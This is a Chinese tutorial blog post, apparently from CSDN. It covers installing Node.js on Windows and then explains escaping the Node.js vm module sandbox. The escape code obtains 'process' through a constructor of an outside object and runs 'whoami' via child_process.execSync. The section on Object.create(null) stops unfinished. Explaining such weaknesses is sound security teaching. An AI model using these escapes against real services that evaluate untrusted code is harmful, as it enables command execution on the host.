Nodejs沙箱绕过

目录

一、安装nodejs

1.安装包

2.安装过程

3.验证安装

4.创建全模块文件

5.环境变量的配置

 二、如何使用VScode调试JavaScript代码

 三、Nodejs沙箱绕过

1.举例:执行m+n表达式

2. 上下文都不存在this


一、安装nodejs

1.安装包

js下载网站:下载 | Node.js 中文网

2.安装过程

点击安装包,可以安装至D盘,后面也是一直点击Next,然后完成安装 。

3.验证安装

在键盘按下【win+R】键,输入cmd,然后回车,打开命令行界面分别输入如下命令,显示版本号即安装成功。

显示安装的nodejs版本

node -v

显示安装的npm版本

npm -v

 

4.创建全模块文件

将全模块所在路径和缓存路径放在我node.js安装的文件夹中,则在我安装的文件夹nodejs下创建两个文件夹【node_global】及【node_cache】如下图:

创建完两个空文件夹之后,跟之前操作一样,在键盘按下【win+R】键,输入cmd,然后回车,打开命令行界面,输入下面命令,如图。(记得记得一定要用管理员身份运行,否则后面是无法安装express模块的,会一直出错!!!)

npm config set prefix "D:\nodejs\node_global"
npm config set cache "D:\nodejs\node_cache"

(自己的nodejs安装路径,每个人不同)

prefix = 创建的node_global文件夹所在路径

cache = 创建的node_cache文件夹所在路径

 

5.环境变量的配置

将【用户变量】下的【Path】修改为【D:\Nodejs\node_global】,之后点击确定。

 

在【系统变量】下新建【NODE_PATH】【D:\Nodejs\node_global\node_modules】 

在【系统变量】下的【Path】新建添加node全局文件夹【D:\Nodejs\node_global】,之后点击确定。

经过上面的步骤,nodejs下载的模块就会自动下载到我们自定义的目录,接下来我们测试一下。输入下面的命令:

-g是全局安装的意思,不加 -g 就是默认下载到当前目录

 npm install express -g

 

注:若执行命令npm install express -g 出现报错信息

是由于权限的原因,右击nodejs文件夹->属性->安全,点击编辑,将所有权限都✔即可。

 

 二、如何使用VScode调试JavaScript代码

在图中红圈位置文件框内输入cmd进入命令提示行

输入node 文件名.js,就可以执行JavaScript代码并输出结果。

 三、Nodejs沙箱绕过

vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。

1.举例:执行m+n表达式

const vm = require('vm');
const script = `m + n`;
#反引号可以执行命令。
const sandbox = { m: 1, n: 2 };
#给沙箱中传入对象
const context = new vm.createContext(sandbox);
#创建沙箱上下文环境,并将沙箱对象传递进来
const res = vm.runInContext(script, context);
#沙箱内部的执行
console.log(res)

执行结果:

但这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象:

this 指向传给vm.createContext的那个对象 ,也就是sandbox,但此时它在沙箱的外部,这个this就是等于指向了window全局

m 等于数字1

n 等于数字2

 

Function是构造所有函数的祖先,可以创造自己向自定义的函数。

Function('return process'), 这里的Function可以拿到process这个模块,拿到模块以后就可以进行如下的调用。

(constructor本身就指向构造函数)

我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境。比如:

const process = this.toString.constructor('return process')()
#通过指向sandbox(全局)的this拿到了process模块,然后通过this.toString拿到了toString函数,最后通过constructor拿到了所有函数的构造函数Function,然后通过return process拿到process模块。
process.mainModule.require('child_process').execSync('whoami').toString()
#拿到process模块后拿到子模块child_process,最后调用whoami命令执行的方法。
#execSync同步执行

第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。

第二行,利用前面获取的process对象既可以干任何事。

Q1:为什么我们不直接使用{}.toString.constructor('return process')(),却要使用this呢?

A:这两个的一个重要区别就是,{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。

沙箱逃逸要将外部的元素对象引入进来,在沙箱内部拿到外部的变量方法异常等。

Q2:m和n也是沙盒外的对象,为什么也不能用m.toString.constructor('return process')()呢?

A:因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的,但是,如果修改下context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。改写成空对象空数组或者正则表达式,此时外部就是一个类型引用,里面去引用的时候引用的就是那串内存地址,内外部元素是同一个可以调用内存地址(定义成包装类型而不是原始类型) 。

沙箱绕过的核心原理了:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

const vm = require('vm');
const script = `
	const process = x.toString.constructor('return process')()
	process.mainModule.require('child_process').execSync('whoami').toString()
    `;
const sandbox = {m:[], n: {}, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res)

执行结果:

①使用this,this指向sandbox,m、n可以为值(原始类型)

②利用引用类型,定义为包装类型(内存地址的调用)

2. 上下文都不存在this

(1)object.create方法

如果想要生成一个不继承任何属性(比如没有toString()valueOf()方法)的对象,可以将Object.create()的参数设为null

var obj = Object.create(null);
​
obj.valueOf()
// TypeError: Object [object Object] has no method 'valueOf'

#是一个纯净的空对象,没有原型链,原型链指向null,也就不存在this环境

上面代码中,对象obj的原型是null,它就不具备一些定义在Object.prototype对象上面的属性,比如valueOf()方法。

(2)实例

const vm = require('vm'); 

const script = `...`; 

const sandbox = Object.create(null); 

const context = new vm.createContext(sandbox); 

const res = vm.runInContext(script, context); 

console.log('Hello ' + res) 

引入斐波那契数列:

const factorial = function(n){

        if ( n === 0 | n === 1){

              return 1;

        } else {

             return n * arguments.callee(n-1)

        }

};

console.log(factorial(5))

arguments.callee可以指向调用函数本身,arguments.caller可以理解为函数的父类(谁调用了你),arguments.callee.caller是某个调用你的函数本身。

再回到实例二:

js中某个对象与字符串相加(拼接)就会变成字符串,会自动调用它的toString方法。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值